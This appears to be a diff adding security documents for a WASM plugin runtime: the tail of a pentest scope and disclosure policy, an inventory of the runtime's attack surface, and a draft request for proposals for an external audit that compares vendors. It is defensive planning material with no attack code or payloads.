- **P1 / High**: ≤ 30 calendar days
- **P2 / Medium**: ≤ 60 calendar days
- **P3 / Low**: ≤ 90 calendar days
- **Public disclosure**: 90 days after report, or earlier on mutual agreement, or later if the operator and reporter agree that a longer fix window is justified by complexity. The operator commits to publishing a security advisory at disclosure time.
- **Bug-bounty** (when active): see [`bug-bounty.md`](./bug-bounty.md). Until the program is active, findings remain eligible for the coordinated-disclosure hall of fame.
## 9. Safe harbor
Researchers who:
- limit their activity to the in-scope assets,
- avoid the out-of-scope activities,
- respect the operator's stop request,
- report findings exclusively through `security@<your-domain>` until disclosure is mutually agreed,
- do not modify, destroy, or exfiltrate data beyond the minimum required to demonstrate impact
are granted safe harbor: the operator will not pursue legal action, will request that other parties also stand down, and will publicly credit the researcher on request.
## 10. Pre-engagement checklist (operator)
- [ ] Engagement addendum signed (scope, dates, contact, billing)
- [ ] Pentest tenants provisioned (primary + isolation-pair)
- [ ] Synthetic test data seeded
- [ ] Test credentials delivered via PGP / 1Password share with TTL
- [ ] Sentry sampling raised to 100 % for `pentest:*` tags
- [ ] Operator on-call paged into the engagement Slack channel
- [ ] Maintenance freeze calendar confirmed clear
- [ ] PGP public key on `.well-known/pgp-key.txt` not within 30 days of expiry
- [ ] Internal IR-team briefed (severity classification, escalation path)
## 11. Pre-engagement checklist (researcher)
- [ ] PGP key shared and verified
- [ ] Engagement addendum signed
- [ ] Test credentials received and rotated into researcher's password manager (single-use, no sharing)
- [ ] In-scope / out-of-scope confirmed against §2 / §3
- [ ] Reporting format confirmed against §7
- [ ] Operator stop-channel acknowledged (`security@<your-domain>`)
@@ -0,0 +1,222 @@
# Plugin Runtime Attack Surface Inventory
**Phase:** Phase 06
**Author:** Claude Opus 4.7 (1M context)
**Last revised:** 2026-05-29
**Status:** Companion to `docs/security/plugin-threat-model.md`. Read that first.
This document enumerates **every entry point** a third-party WASM plugin (or a tenant admin acting on behalf of one) can reach through code in the boilerplate. The model lists the _threats_ per asset; this document lists the _interface_ — what concrete API or host-binding accepts plugin-controlled bytes, and what tables they can mutate.
If you add a new host-fn, a new capability, a new manifest field, a new admin endpoint, or a new DB table that a plugin can touch — **append it here in the same PR**. The external auditor uses this as the testing-checklist.
---
## 1. Host bindings exposed to WASM
Bindings are mediated by the **capability gateway** (`packages/plugin-runtime/src/capability-gateway.ts:78`). The gateway exposes one host-fn per declared capability. Foundation scope ships **9 capabilities**, defined in the closed enum `PLUGIN_CAPABILITY_NAMES` (`packages/plugin-runtime/src/capabilities.ts:13-23`).
| # | Capability | Status | Host-fn implementation site | Manifest scope shape | Notes |
| --- | --------------- | --------------------------------------------------------- | ------------------------------------------------------- | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| 1 | `http.outbound` | **Declared, gateway-routed; production host-fn deferred** | TBD (was scheduled in `wasm-sandbox.md` §Host-Bindings) | `{ allowedHosts: string[] }` — `packages/plugin-runtime/src/manifest.ts:60-63` | When wired: outbound HTTP to declared hosts only; body-size cap; per-call timeout. |
| 2 | `db.read` | **Declared; host-fn deferred** | TBD | none (foundation) | Will inject `WHERE tenantId = $tenant` server-side and append `LIMIT 1000`. |
| 3 | `db.write` | **Declared; host-fn deferred** | TBD | `{ tablePrefix: string }` — `packages/plugin-runtime/src/manifest.ts:64-67` | Write must hit `plugin_<sanitized-id>_` tables only. |
| 4 | `storage.read` | **Declared; host-fn deferred** | TBD | none | KV reads from SharedStore, prefixed `plugin:<id>:tenant:<tid>:`. |
| 5 | `storage.write` | **Declared; host-fn deferred** | TBD | none | Same prefix; default 24h TTL. |
| 6 | `log` | **Declared; worker host-fn wired** | `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` | none | Structured worker log tagged with `pluginId` and `version`. |
| 7 | `audit` | **Declared; worker host-fn wired** | `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` | none | Structured worker log tagged with `pluginId` and `version`; durable redacted `plugin.audit.recorded` audit event is enqueued. |
| 8 | `tenant.info` | **Declared; host-fn deferred** | TBD | none | Read-only tenant metadata: id, slug, plan. |
| 9 | `secret.read` | **Declared; host-fn deferred** | TBD | `{ keyPattern: string }` — `packages/plugin-runtime/src/manifest.ts:63` | Tenant-scoped plugin secrets; key must match pattern. |
> **Audit implication:** every host-fn above is gated by the gateway. `log` and `audit` are routed through `invokeSync(...)` and deny if undeclared or not tenant-granted for this invocation. Deferred host-fns still throw `CapabilityDeniedError` with `reason="no_host_implementation"`. A plugin cannot bypass the declared or approved capability set; the attack surface today is the gateway, the two safe worker log imports, and the remaining manifest-validatable capability names.
### Always-on host imports
Independent of the gateway, the sandbox provides:
| Import | Implementation | Notes |
| -------------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
| `env.memory` | `WebAssembly.Memory({ initial: 1, maximum: maxPages })` at `packages/plugin-runtime/src/runtime.ts:118` | Default cap 64 MiB (`runtime.ts:73`). |
| `env.toolctrl_log(i32)` | `gateway.invokeSync("log", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `log`; emits `plugin.invoke.host.log` worker log. |
| `env.toolctrl_audit_record(i32)` | `gateway.invokeSync("audit", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `audit`; emits `plugin.invoke.host.audit` worker log. |
| `env.toolctrl_payload_len()` | Current invocation payload byte length at `runtime.ts:132` | Returns the UTF-8 byte length of the JSON-encoded payload. |
| `env.toolctrl_payload_byte(i32)` | Current invocation payload byte read at `runtime.ts:133-136` | Returns one byte from the UTF-8 JSON payload, or `0` outside bounds. |
| Hook entry-point export call | `(hook as Fn)(arg)` at `runtime.ts:176` | Numeric payloads still pass as the scalar `arg`; object/array/string payloads pass `0` and are read through the JSON payload ABI imports above. |
No `wasi:filesystem`, `wasi:cli`, `wasi:sockets`, `wasi:random`, `wasi:clocks`, or other WASI modules are imported. A plugin that declares such an import fails instantiation with `instantiate_failed` (`runtime.ts:131-141`).
---
## 2. Manifest fields (plugin-controlled input)
The manifest is parsed by `parsePluginManifest` (`packages/plugin-runtime/src/manifest.ts`) using `PluginManifestSchema` (`packages/plugin-runtime/src/manifest.ts:128-147`). All fields are `.strict()` — unknown keys are rejected.
| Field | Validation | Auditor checks |
| ------------------ | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| `schemaVersion: 1` | `z.literal(1)` (`manifest.ts:130`) | Version bump = breaking-change opportunity. |
| `id` | Regex `^[a-z][a-z0-9-]*(\.[a-z][a-z0-9-]*)+$` (`manifest.ts:21,131`) | Reverse-DNS only. Cannot contain `..`, `/`, `\`. Used as SQL prefix via `sanitizePluginIdForSql` (`migrations.ts:28`). |
| `version` | Regex `^[0-9]+\.[0-9]+\.[0-9]+(-…)?$` (`manifest.ts:26,132`) | Loose SemVer. Compatibility check via `version-check.ts`. |
| `name` | `min(1).max(256)` (`manifest.ts:133`) | Used as UI display. **HTML-escape required at render** — check `apps/web/app/routes/app.$tenant/settings/plugins.tsx`. |
| `description` | `max(2048).optional()` (`manifest.ts:134`) | Same as above. |
| `entry` | `min(1).max(256)` (`manifest.ts:136`) | Path to .wasm within the plugin bundle — operator-side. |
| `wasmSha256` | Regex `^[0-9a-f]{64}$` (`manifest.ts:138`) | Strict hex-64. |
| `signature` | Regex `^[0-9a-f]{128}$` (`manifest.ts:140`) | Strict hex-128. |
| `signedBy` | Regex `^[0-9a-f]{64}$` (`manifest.ts:142`) | Strict hex-64 = Ed25519 public key. |
| `allowedHosts[]` | `HostnameSchema` (`manifest.ts:50`) | Public hostnames only — no scheme, port, localhost, IP literal, `.local`, or `.internal`. Used by `http.outbound` host-fn (deferred). |
| `capabilities[]` | `z.enum(PLUGIN_CAPABILITY_NAMES)` + scope subset (`manifest.ts:72-77`) | Closed enum. Scope keys are an explicit `.strict()` subset (`manifest.ts:60-70`). |
| `hooks[]` | `name.min(1).max(128)`, `export.min(1).max(128)` (`manifest.ts:79-84`) | At least 1 hook required (`manifest.ts:146`). |
| `ui.settings.entry` | Relative bundle HTML path; no scheme, absolute path, or `..`; `max(256)` (`manifest.ts:86-93`) | Optional settings iframe entry. Must end in `.html`; parent route adds sandbox/CSP and PostMessage bounds. |
| `minHostVersion` | Loose SemVer string, optional | Inclusive lower host bound. Install rejects out-of-range plugins with `incompatible_host_version`. |
| `maxHostVersion` | Loose SemVer string, optional | Inclusive upper host bound. Omitting both host-version fields means any host version is acceptable. |
---
## 3. DB tables a plugin can read or mutate
### 3.1 Tables a plugin owns (created via its own migrations)
| Pattern | Constraint | Source |
| ------------------------------- | -------------------------------------------------------------------------- | ----------------------- |
| `plugin_<sanitized-id>_<table>` | Must start with the prefix derived from `sanitizePluginIdForSql(pluginId)` | `migrations.ts:99-104` |
| ⤷ `tenantId TEXT NOT NULL` | Mandatory column on every plugin table | `migrations.ts:106-110` |
A plugin **cannot** create tables outside its prefix; cannot use `ALTER`/`DROP`/`UPDATE`/`SELECT` in migrations (only `CREATE TABLE` / `CREATE [UNIQUE] INDEX`); cannot reference `pg_*` system tables (`migrations.ts:69-81`).
### 3.2 Tables a plugin reads or writes via host-bindings (when wired)
| Capability | Tables touchable | Scope |
| ------------- | ------------------------------------------------------------------------------------------------- | ------------------------------------------------------ |
| `db.read` | Currently none until `db.read` host-fn lands. **Auditor: confirm no shortcut path exists today.** | Per design: tenant-scoped read, `LIMIT 1000`. |
| `db.write` | Currently none until `db.write` host-fn lands. | Per design: `plugin_<sanitized-id>_*` only, tenant-scoped via injected `WHERE tenantId = $tenant`. |
| `storage.*` | None today; SharedStore KV host-fns are deferred. | Per design: prefix `plugin:<id>:tenant:<tid>:`. |
| `audit` | Durable `AuditEvent` outbox path for redacted plugin-emitted audit records; no plugin-owned table access. | Plugin-id and tenant-id are host-injected. |
| `tenant.info` | Currently none until `tenant.info` host-fn lands. | Per design: read-only tenant metadata for the current tenant only. |
| `secret.read` | Currently none until encrypted plugin secret storage and `secret.read` host-fn land. | Per design: tenant + plugin + key-pattern scoped. |
### 3.3 Tables a plugin can **never** touch
- `User`, `Tenant`, `Session`, `ApiKey`, `AuditEvent`, `OutboxEvent`, any business-domain table.
- `Plugin`, `PluginUserConfig`, `PluginCapabilityUse` (these are operator/host-only).
- The Postgres catalogue (`pg_*`).
Any code change that gives a plugin **indirect** read/write access to a table outside §3.1/§3.2 is a security-relevant change.
---
## 4. Worker queues / outbox events plugin-controlled
| Queue / event stream | Worker group | Producer | Consumer / fanout target | Plugin influence |
| ------------------------------ | ------------------------------ | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ |
| `outbox.plugin-hook` | `WORKER_QUEUE_GROUP=general` | Host code paths that emit `plugin.hook.*` outbox events (`hooks/emit.ts:91`) | Plugin hook fanout worker validates hook names/payloads and enqueues one `toolctrl.plugin-invoke` job per enabled tenant plugin. | Indirect — payload is host-validated against the hook's Zod schema before fanout. |
| `toolctrl.plugin-invoke` | `WORKER_QUEUE_GROUP=plugin` | `outbox.plugin-hook` fanout on the `general` worker group | Isolated plugin worker executes the WASM invocation (`plugin-invoke.ts:137`). | Indirect — the plugin can only receive a host-produced invocation for hooks it declares. |
| `outbox.plugin-capability-use` | Worker-owned outbox/audit path | Sandbox itself, via `audit.ts:127-148` | Audit-batch persister (`plugin-capability-use.ts:169`). | Direct — plugin's host-fn calls produce records; field shape validated at `plugin-capability-use.ts:78-117`. |
Plugin hook fanout and plugin execution intentionally run on different worker groups: `general` owns `outbox.plugin-hook` subscription and fanout, while `plugin` owns `toolctrl.plugin-invoke` execution. This keeps third-party WASM execution isolated from general outbox dispatch and core queues.
A plugin cannot **emit** an arbitrary outbox event — it has no `outbox.publish` capability (deliberate omission; would be too powerful for the foundation).
---
## 5. HTTP routes a tenant admin uses
| Method | Route | Permission gate | Body | Purpose |
| ------ | ---------------------------------------------------- | --------------------------- | -------------------------------------------------- | ---------------------------------- |
| GET | `/api/tenants/:tenant/plugins` | `app.plugins.use` | — | List installed plugins for tenant. |
| POST | `/api/tenants/:tenant/plugins` | `app.plugins.manage` + CSRF | `{ manifestJson, wasmSha256, signaturePublicKey }` | Install. |
| POST | `/api/tenants/:tenant/plugins?id=<rowId>&op=enable` | Same | JSON `{}` | Enable. |
| POST | `/api/tenants/:tenant/plugins?id=<rowId>&op=disable` | Same | JSON `{}` | Disable. |
| GET | `/app/:tenant/settings/plugins` | `app.plugins.use` | — | Tenant plugin management UI. |
| POST | `/app/:tenant/settings/plugins` | `app.plugins.manage` + CSRF | Form actions: grant, grantAndEnable, enable, disable, revoke | Capability consent and lifecycle. |
| GET | `/app/:tenant/settings/plugins/:id` | `app.plugins.use` | — | Sandboxed plugin settings iframe. |
| POST | `/app/:tenant/settings/plugins/:id` | `app.plugins.use` + CSRF | JSON `{ op: "setSetting", key, value }` or `{ op: "reportFrameViolation", reason }` | Per-user plugin settings write or redacted client-reported iframe violation audit. |
| GET | `/app/:tenant/settings/plugins/:id/audit` | `app.settings.auditTrails.view` | — | Capability-use audit view. |
API routes are defined in `apps/web/app/routes/api.tenants.$tenant.plugins.tsx`.
Settings routes are defined in `apps/web/app/routes/app.$tenant/settings/plugins.tsx`,
and production lifecycle services additionally reject install, grant, and enable
attempts for manifest capabilities without reviewed host bindings.
`apps/web/app/routes/app.$tenant/settings/plugins.$id.tsx`, and
`apps/web/app/routes/app.$tenant/settings/plugins.$id.audit.tsx`. The settings
iframe uses an opaque-origin sandbox plus CSP and accepts only the versioned
`plugin.settings.ready|get|set` PostMessage protocol from its own frame window.
The parent validates request id/key length, JSON-like shape, depth, array/object
width, node count, and value-size budget before calling route persistence; the
route also rejects oversized request bodies before `request.json()`.
A tenant admin **cannot**:
- Edit the WASM binary on disk (operator-only step).
- Edit `PLUGIN_TRUSTED_PUBLIC_KEYS` (env, operator-only).
- Read/delete `PluginCapabilityUse` rows (no API exists).
- Bypass the permission gate — non-admin users get 403.
A tenant admin **can** (intentional):
- Install a plugin only when all install gates pass: production runtime gate, manifest/schema validation, host-version range, trusted publisher key, disk binary verification, submitted SHA check, duplicate `pluginId` rejection, and tenant install cap.
- Enable/disable any of their own tenant's plugins.
- Approve missing manifest-declared capability grants only after submitting the current review digest and explicit capability review confirmation; stale manifests are rejected before grants are written.
- Read their tenant's audit trail at `app.$tenant/settings/plugins.$id.audit.tsx`.
- Use their own per-user plugin settings UI without `app.plugins.manage`.
---
## 6. Configuration surface (operator)
| Env var | Source | Effect |
| ------------------------------------------------------------ | -------------------------------------------------- | ----------------------------------------------------------------------------- |
| `PLUGIN_RUNTIME_PRODUCTION_ENABLED` | `production-gate.ts` | Required as `true` before tenant plugin runtime operations are allowed in production. |
| `PLUGIN_TRUSTED_PUBLIC_KEYS` | `signature.ts:95` | CSV of hex Ed25519 public keys. **Root of trust.** |
| `PLUGIN_OUTPUT_SANITIZATION_STRICTNESS` | `plugin-invoke.ts:39-45` | `strict` / `moderate` / `off`. Default `moderate`. |
| `PLUGIN_AUDIT_RETENTION_DAYS` | `plugin-audit-retention.ts` | Days to retain `PluginCapabilityUse` rows. Default 90. |
| `PLUGIN_AUDIT_RETENTION_BATCH_SIZE`, `_MAX_BATCHES`, `_CRON` | Same | Cleanup tuning. |
| `PLUGIN_HOST_VERSION_OVERRIDE` | `version-check.ts` | Override the host SemVer used during compatibility check (test/staging only). |
| `WORKER_CONCURRENCY_PLUGIN` | Worker bootstrap | Max parallel plugin invocations on a single worker pod. |
| `PLUGIN_AUTO_DISABLE_THRESHOLD` | `crash-tracker.ts:78` | Default 10. |
| `PLUGIN_AUTO_DISABLE_WINDOW_MS` | `crash-tracker.ts:79` | Default 600_000 (10 min). |
| `WORKER_ENABLED=false` / scale `worker-plugin` to zero | Worker service env / Coolify resource controls | Emergency runtime stop for plugin invocation processing. |
---
## 7. Surface NOT exposed (intentional omissions)
These are **explicit non-features** of the foundation. Adding any of them = new attack surface that must be threat-modelled before code lands.
- **No `outbox.publish` capability.** Plugins cannot emit arbitrary outbox events.
- **No `process` / `child_process` / `eval` / `Function` exposure to the plugin.** The host-imports map (`runtime.ts:128`) is closed.
- **No file-system access from plugin code.** No `wasi:filesystem` import is provided.
- **No network egress except through `http.outbound`.** When `http.outbound` lands, undici dispatcher will be the only path.
- **No WASI, filesystem, socket, or host-object payload marshalling.** Structured hook input is exposed only through the narrow UTF-8 JSON payload ABI imports (`env.toolctrl_payload_len` / `env.toolctrl_payload_byte`). Higher-level SDK helpers and non-JSON host object bindings remain follow-up work.
- **No hot-reload of binaries.** Operator restart required → no race window where two versions execute in parallel.
- **No tenant cross-fan-out for hooks.** A `plugin.hook.*` outbox event carries one `tenantId`; the worker scopes the `Plugin` lookup by it.
- **No live mutation of `PLUGIN_TRUSTED_PUBLIC_KEYS`.** Restart-to-rotate is intentional.
---
## 8. Test surface
For the external auditor, the following test suites encode the existing assumptions. **Add new tests for any finding before remediation lands.**
- `packages/plugin-runtime/src/manifest.test.ts` — manifest validation.
- `packages/plugin-runtime/src/signature.test.ts` — Ed25519 verify + trust.
- `packages/plugin-runtime/src/runtime.test.ts` — sandbox compile/instantiate/limits.
- `packages/plugin-runtime/src/capability-gateway.test.ts` — deny-by-default.
- `packages/plugin-runtime/src/audit.test.ts` — recorder soft-fail default, fail-closed mode, and max-entries.
- `apps/web/app/modules/plugins/components/PluginSettingsFrame.test.tsx` — settings iframe sandbox/CSP, origin/source checks, PostMessage protocol bounds.
- `apps/web/app/routes/app.$tenant/settings/plugins.$id.test.tsx` — settings route permission, CSRF, rate-limit, JSON/body validation, service error mapping.
- `packages/plugin-runtime/src/crash-tracker.test.ts` — sliding-window + auto-disable.
- `packages/plugin-runtime/src/migrations.test.ts` — prefix + forbidden-tokens + tenantId column.
- `packages/plugin-runtime/src/sanitize.test.ts` — PII regex coverage.
- `packages/plugin-runtime/src/version-check.test.ts` — host-version SemVer boundaries.
- `packages/plugin-runtime/src/hooks/registry.test.ts` — registry exhaustiveness.
- `apps/worker/src/jobs/plugin-invoke.test.ts` — every deny path of the worker handler.
- `apps/worker/src/jobs/plugin-capability-use.test.ts` — batch insert + payload validation.
- `apps/worker/src/jobs/plugin-audit-retention.test.ts` — cutoff + batching.
- `apps/web/app/routes/api.tenants.$tenant.plugins.test.ts` — install / enable / disable.
- `apps/web/app/modules/plugins/services/.server/PluginLifecycleService.test.ts` — lifecycle transitions.
---
## 9. Change log
| Date | Change | Author |
| ---------- | --------------------------------------------------- | ---------------------------- |
| 2026-05-19 | Initial inventory for B-006 external audit package. | Claude Opus 4.7 (1M context) |
@@ -0,0 +1,416 @@
# Plugin Runtime External Security Audit — Request for Proposals
**Status:** Draft RFP — awaiting operator dispatch
**Phase:** Phase 06 (Plugin System), gating production rollout
**Authoring agent:** Claude Opus 4.7 (1M context), 2026-05-19
**Related blocker:** B-006 in `docs/improvement-plan/BLOCKERS.md`
**Companion document:** `docs/security/plugin-runtime-signoff.md`
> The operator dispatches this RFP. The authoring agent did **not** contact any
> firms; engagement is an operator action.
---
## 1. Vendor recommendation
### Top pick: **Cure53** (Berlin, DE)
Reasoning (4 sentences):
1. **DACH proximity + DSGVO/BDSG default operating mode.** Cure53 has been
headquartered in Berlin since 2007, operates under German contract law by
default, and is one of the few firms whose standard NDA + DPA pattern is
ready-made for §203 / BDSG / DSGVO constraints — no extra
data-processing-agreement haggling.
2. **Browser-sandbox + cryptographic-protocol pedigree maps directly onto our
surface.** Cure53's published reports cover client-side sandboxes,
end-to-end-encrypted apps (Mailvelope, Bitwarden, Tor Browser, NordVPN,
Psono, Ente, OpenPGP.js) — the same threat model we have for a WASM
sandbox + Ed25519 signature trust path. No public report explicitly named
"Wasmtime audit" is confirmed (unconfirmed as of 2026-05); their browser-VM
and JS-sandbox work is the closest adjacent track record.
3. **Report depth + remediation cycle.** Cure53 reports are public-quality by
default (we publish a sanitized version on `docs/security-reviews/`), and
one re-test pass is standard in their engagement letter — exactly what our
sign-off process needs.
4. **Budget realism.** A 3-5-day pen-test from Cure53 typically lands in the
upper half of our 15-25k EUR ceiling (unconfirmed — operator to request a
firm quote); we accept that ceiling because the alternative (a sandbox
escape post-rollout) is unbounded liability.
If the firm quote exceeds 25k EUR by more than 10%, **fall back to SySS** —
they are the German market leader in volume pentest engagements and their
mid-size scope sweet spot fits our 3-5-day brief at lower cost (DACH day-rates
of approximately 1,000-1,500 EUR per consultant; unconfirmed for SySS
specifically).
### Alternates ranked
1. **SySS GmbH** (Tübingen, DE) — German market leader in mid-size pentests,
~180 staff (over 100 in pentest delivery), founded 1998. Best if the
Cure53 quote exceeds budget. German-language reports available; English
on request. No public WASM-runtime publications confirmed as of 2026-05.
2. **Trail of Bits** (NYC, US — handles EU clients) — founded 2012 by Dan
Guido. Public WASM track record is the strongest of any firm: Manticore
added WebAssembly symbolic-execution support in 2020, they audited
wasmCloud via OSTIF, and they published the Discord E2EE WebAssembly audit
(Jun 2025). Best if our threat priority shifts toward formal verification
of the sandbox boundary. Drawback: US-based, so DSGVO data-flow gymnastics
are real; English-only delivery; budget likely exceeds 25k EUR for a
3-5-day brief.
3. **NCC Group** (Manchester, UK, with Munich office) — founded 1999. Authored
the canonical "Security Chasms of WASM" whitepaper + Black Hat USA 2018
talk "WebAssembly: A New World of Native Exploits on the Browser"
(Lukasiewicz et al.). EU presence via Munich GmbH. Best if we want a firm
that has done WASM offensive research specifically. Drawback: large firm,
so the engagement consultant assigned may be a junior — we would need to
negotiate the named-consultant clause.
4. **secfault Security** (Würzburg, DE) — small DACH boutique. Public reports
include Nitrokey NetHSM (HSM firmware) and 1Password annual pentest
(2023). Strong dev-aware reporting style + manual code review focus. Best
if we want a deep-dive code-review-heavy engagement rather than a broad
pen-test sweep. No public WASM publications confirmed as of 2026-05.
Smallest firm of the five — capacity risk if their bench is booked.
### Decision matrix
| Firm | WASM track record | EU GDPR-native | DACH language | Cal. weeks (kickoff→report) | Est. EUR (3-5 day brief) | Best-fit if … |
|---|---|---|---|---|---|---|
| **Cure53** | Adjacent (browser sandboxes, E2EE crypto); no public WASM report confirmed | Yes (Berlin, DSGVO native) | German + English | ~3 weeks | 18-25k (unconfirmed; upper-budget) | Default — best balance of proximity + reporting quality |
| SySS | None public | Yes (Tübingen, DSGVO native) | German + English | ~2-3 weeks | 10-18k (extrapolated from German day-rate norms; unconfirmed) | Budget-constrained; volume-pentest comfort zone |
| Trail of Bits | Strongest (Manticore WASM, wasmCloud, Discord E2EE WASM) | No (US, DPA required) | English only | ~4-6 weeks | 25-50k+ (US day-rates, unconfirmed for this brief) | Formal-verification depth required; budget flexible |
| NCC Group | Strongest research lineage (Black Hat 2018, "Security Chasms of WASM" whitepaper) | Partial (UK + Munich office) | English (German via Munich) | ~3-4 weeks | 20-35k (unconfirmed) | WASM offensive-research depth required |
| secfault | None public; HSM + crypto adjacencies | Yes (Würzburg, DSGVO native) | German + English | ~3-4 weeks | 12-20k (unconfirmed) | Manual code-review depth > broad pentest sweep |
**Unconfirmed values:** all EUR ranges are agent estimates from public
day-rate norms; firm quotes are required before commitment. WASM track record
for Cure53, SySS, secfault is reported as "no public WASM publications
confirmed" — these firms may have done WASM work under NDA.
---
## 2. Engagement scope (in-scope)
The audit covers the **plugin runtime + capability gateway + plugin
lifecycle** shipped during Phase 06. Concrete repository paths:
### Plugin runtime package — `packages/plugin-runtime/src/`
- `runtime.ts` — V8 `WebAssembly` host wrapper (`PluginSandbox`
interface; foundation uses Node 22's built-in `WebAssembly`, Wasmtime is the
documented upgrade path)
- `capability-gateway.ts` — deny-by-default host-fn gateway; every
capability call passes through this single chokepoint
- `capabilities.ts` — closed enum of capabilities + scope shapes
- `manifest.ts` — Zod-validated plugin manifest schema (capability declaration
+ version constraints + signing metadata)
- `signature.ts` — Ed25519 signature verification + canonical signing form;
trust anchor is `PLUGIN_TRUSTED_PUBLIC_KEYS` env allowlist
- `audit.ts` — per-invocation capability-use buffer + outbox-batched
persistence
- `crash-tracker.ts` — sandbox-crash event recording (Sentry alert path)
- `migrations.ts` — plugin-owned DB migration runner (constrained scope)
- `sanitize.ts` — output redaction (Credit-Card / JWT / IBAN / API-Key
patterns with Luhn-validated CC detection)
- `hooks/registry.ts` + `hooks/emit.ts` — hook subscription registry +
event emitter into the plugin invocation path
### Worker invocation path — `apps/worker/src/jobs/`
- `plugin-invoke.ts` — BullMQ handler that dequeues `plugin.invoke` jobs,
loads the manifest, verifies signature, instantiates the sandbox, runs the
hook, and persists the invocation outcome
- `plugin-capability-use.ts` — outbox-event consumer that bulk-inserts
`PluginCapabilityUse` rows from the gateway's batched events
- `packages/cli/src/commands/plugins/verify-audit-chain.ts` — operator CLI
that verifies the tenant-wide `PluginCapabilityUse` hash chain
### Tenant admin install + lifecycle — `apps/web/app/`
- `routes/api.tenants.$tenant.plugins.tsx` — install / grant / revoke /
enable / disable API surface (per-tenant scoped); uninstall is
CLI/operator-only in the current product surface
- `routes/app.$tenant/settings/plugins.tsx` — tenant admin UI
- `routes/app.$tenant/settings/plugins.$id.audit.tsx` — per-plugin audit
trail UI (keyset-paginated, capability + UTC date-range filter)
- `modules/plugins/services/.server/PluginLifecycleService.ts` — install /
grant / revoke / enable / disable service (signature verify + wasmSha256
rehash on every load). CLI uninstall is implemented separately as an
operator escape hatch.
- `modules/plugins/services/.server/pluginHookPublisher.ts` — host-side
hook publisher that emits invocation jobs to the worker queue
### Data model — `prisma/schema/plugins.prisma`
- `Plugin` — installed plugin per tenant (manifest, wasmSha256, public key,
enabled flag)
- `PluginUserConfig` — per-user enablement + free-form config blob
- `PluginCapabilityUse` — per-host-fn audit row (capability name, payload
hash — **never raw body** — outcome, durationMs, timestamp)
### Manifest signing trust model
- `PLUGIN_TRUSTED_PUBLIC_KEYS` env allowlist (foundation-state; a registry
+ revocation flow is deferred to the marketplace track per
`docs/improvement-plan/06-plugin-system/audit-docs.md` "Deviations")
- Ed25519 verification via `@noble/ed25519`
- Canonical signing form: sorted-keys JSON of the manifest minus the
signature / signedBy / wasmSha256 fields, concatenated with the wasm
SHA-256 hex digest, signed end-to-end (`<canonical>:<wasmSha256>`)
- Worker rehashes the wasm binary on every load and refuses to invoke when
the recorded `wasmSha256` does not match the on-disk binary
### Hook event flow
- Hook subscription declared in plugin manifest → registered into
`hooks/registry.ts` at install time → host emits via `hooks/emit.ts`
→ outbox event → BullMQ `plugin.invoke` job → worker handler →
sandbox → capability gateway → audit batch → outbox flush
### Threat-model anchor
In-scope claims that the audit MUST stress-test (sourced from
`docs/improvement-plan/06-plugin-system/wasm-sandbox.md` §Security Notes):
- Sandbox boundary is enforced by the V8 WebAssembly memory boundary +
deny-by-default capability gateway (foundation does **not** yet use
worker-thread isolation; this is the documented upgrade path)
- Per-instruction fuel is **approximated** by charging host-fn calls
through the gateway — V8 has no public hook for per-instruction metering
(this is a known limitation the audit should evaluate)
- Capability scope on `http.outbound` is enforced via host allowlist
- Capability scope on `db.*` is enforced by injected `WHERE tenantId = $tid`
(read-only at foundation level)
- Capability scope on `storage.*` is enforced via key prefix
`plugin:<id>:tenant:<tid>:`
- Tenant ID is **always host-injected, never plugin-supplied**
- No `WebAssembly.instantiate` from inside the sandbox (no dynamic-code
execution by plugins)
- Audit-log payloads store SHA-256 of arg-shape only — no raw body
(DSGVO data-minimization)
- Signature verification is enforced at install AND at every load (binary
rehash)
---
## 3. Out-of-scope
- **Hosting infrastructure** — Coolify / Docker / Postgres / Redis / Loki /
Sentry self-hosted / Authentik are covered under separate engagements (see
`docs/security/pen-test-scope.md`).
- **Other phase deliverables** — auth (Phase 01), observability (Phase 02),
scaling (Phase 03), AI/RAG (Phase 04), business features (Phase 05),
Stripe/billing migrations.
- **Marketplace UX** — not yet built. The trust model assumed by this audit
is the foundation-level `PLUGIN_TRUSTED_PUBLIC_KEYS` env allowlist; a
publisher-key registry + revocation flow is a separate future engagement.
- **Customer-authored plugins** — only the host runtime + gateway are
in-scope. A customer plugin's logic is the customer's responsibility; the
audit checks whether the host can be subverted, not whether a benign
plugin is bug-free.
- **Production tenant data** — testing happens against a dedicated
`pentest-<engagement-id>` tenant on staging (see §4 of
`docs/security/pen-test-scope.md`).
- **Per-instruction fuel correctness against an adversarial WASM binary** —
acknowledged as approximated at foundation level; the audit should flag
it as a Medium finding rather than a Critical (it is a known deviation).
---
## 4. Deliverables expected from vendor
1. **Findings report** — Critical / High / Medium / Low with either CVSS 3.1
or DREAD scoring. The operator's preference is CVSS 3.1 for
cross-referencing with NIST NVD; DREAD is acceptable if the firm
standardizes on it.
2. **Reproduction steps per finding** — explicit enough that a re-test on
our side replicates the exploit; payload bodies, test-tenant credentials
used (provided by us), and the affected file path + line range.
3. **Remediation guidance per finding** — what to change, what the residual
risk is if not changed, what the alternative mitigation is.
4. **One re-test pass included** — after we address Critical/High findings,
the firm re-tests the same exploit set and issues a re-test letter
(green / red).
5. **Sign-off letter** — once Critical and High are addressed (or
accepted-residual with operator co-signature), the firm signs the joint
sign-off document at `docs/security/plugin-runtime-signoff.md`.
6. **Public-quality executive summary** — sanitized version we publish at
`docs/security-reviews/plugin-runtime-<YYYY-MM-DD>.md`. The full report
(with exploit payloads) is archived privately at
`private/security-reviews/plugin-runtime-<YYYY-MM-DD>-full.md`.
---
## 5. Timeline expectation
- **3-5 days pen-test** (active testing window against the test tenant)
- **5-7 calendar days report writing**
- **2 days re-test** (after we ship Critical/High fixes)
- **~3 calendar weeks end-to-end** from kickoff to sign-off, assuming no
Critical finding requires a multi-week remediation.
Critical findings that require architectural change (e.g. introducing
worker-thread isolation, swapping V8 for Wasmtime) may extend the timeline
by 2-4 weeks. The operator accepts this risk in exchange for the audit
catching such issues before production rollout.
---
## 6. Budget cap
**EUR 25,000 hard cap** per B-006 (`docs/improvement-plan/BLOCKERS.md`).
